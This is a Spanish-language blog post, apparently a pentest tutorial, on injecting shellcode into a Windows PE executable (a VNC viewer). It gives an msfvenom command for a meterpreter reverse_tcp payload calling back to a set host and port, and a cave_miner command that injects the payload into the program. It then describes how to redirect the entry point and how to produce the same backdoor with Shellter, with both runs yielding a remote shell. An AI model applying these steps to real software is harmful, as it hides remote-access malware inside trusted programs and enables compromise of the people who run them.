24 agosto 2018

(PE) - Inyectando un shellcode en un archivo exe


Inyectando un shellcode en un archivo exe de portable executable

En este post vamos a usar 2 herramientas para infectar un Portable Executable. En un próximo post lo aremos de forma manual para entender mejor el inflo interno y los pasos que realizo la herramienta

Según wikipedia PE: El formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON,​ y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.

Bueno empecemos

Primero  vemos las opciones que tiene el Cave_miner


Ahora verificamos si la aplicación tiene espacios disponible




Ahora validamos con el depurador que la dirección que esta en vaddress 004474E5 no tenga contenido alguno


Bueno ahora elegimos el que más espacio tiene para poder inyectar nuestro shellcode

Creamos el shellcode en hexadecimal usando el msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.210 LPORT=4444 -f raw -o meter.bin


Ahora usamos el cave_miner para inyectar la shell, en ese caso usamos el siguiente comando

cave_miner inject meter.bin vncviewer2.exe 0x000474e5


 Ahora vamos a validar que el contenido este en el archivo, para eso usaremos ele depurador y nos dirigimos a la dirección de memoria


Ahora que pegamos el código en la misma dirección que nos dio el cave_miner 004474E5

Ahora usamos la herramienta Stud_PE para asignar la dirección del offset


Abrir el Stud_PE vamos a Rva<=>Raw -> File offset y ponemos la dirección que nos da el cave_mine en begin y guardamos


Ahora cambiamos la dirección del Entry Point, para eso usaremos la herramienta LoadPE

LoadPE -> PE editor


Ahora guardamos todo y ejecutamos el programa


Y este nos da un meterpreter :)

Ahora usaremos la herramienta shellter


Podemos elegir auto o manual

Vamos siguiendo las instrucciones y entre esas elegimos el Payloads


Ahora cuando finaliza, vemos que ahí una dirección virtual 0x40f755


Ahora buscamos la dirección virtual que uso y vemos el código usando nuestro debugger


Listo, si vemos la imagen de arriba, vemos una diferencia entre el código anterior al de ahora


Al ejecutar el programa vemos que nos da shell :)

En un próximo post, lo aremos de forma manual y paso a paso ya que es más divertido y vemos como funciona a bajo nivel y también algunas técnicas de encode como XOR




Referencias:
https://es.wikipedia.org/wiki/Portable_Executable

No hay comentarios.:

Publicar un comentario

Las Publicaciones más Vistas

Comandos Drozer Pentest Móvil